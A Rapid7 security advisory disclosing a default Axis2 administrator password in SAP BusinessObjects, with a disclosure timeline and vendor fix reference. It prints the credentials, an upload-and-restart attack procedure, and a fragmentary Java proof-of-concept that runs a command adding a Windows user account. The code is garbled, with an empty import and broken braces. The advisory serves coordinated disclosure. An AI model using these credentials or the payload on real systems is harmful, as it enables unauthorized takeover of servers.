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Rapid7 Advisory R7-0037: SAP BusinessObjects Axis2 Default Admin Password


The SAP BusinessObjects product contains a module (dswsbobje.war) which deploys Axis2 with an administrator account which is configured with a static password.  As a result, anyone with access to the Axis2 port can gain full access to the machine via arbitrary remote code execution. This requires the attacker to upload a malicious web service and to restart the instance of Tomcat. This issue may apply to other products and vendors that embed the Axis2 component. The username is "admin" and the password is "axis2", this is also the default for standalone Axis2 installations.


An attacker can execute arbitrary code by creating a malicious web service (jar).  The attacker can log in to the Axis2 component with the default admin account, upload the malicious web service, and upon restart the malicious code will be executed.

Proof of Concept Code:

Create a webservice (jar) which contains malicious code. Login to Axis2 and upload the web service. Restart Tomcat and the malicious code will execute once Axis2 is loaded.

package org.apache.axis2.axis2userguide; import; public class AddUser {
    public AddUser() {
        Process process;
        try {
            process = Runtime.getRuntime().exec("net user foo bar /add");
        catch(IOException ioexception) {
    public void main() {




Vendor Response:

A fix has been provided on the SAP customer support site: SAP Security Note 1432881. Please note that this site requires authentication.


Disclosure Timeline:

2010-08-12 - Vulnerability reported to the vendor via email
2010-08-12 - Vendor confirmed the vulnerability
2010-09-02 - Vulnerability reported to CERT
2010-10-13 - Coordinated public release of advisory


This vulnerability was reported by Joshua Abraham and Will Vandevanter.

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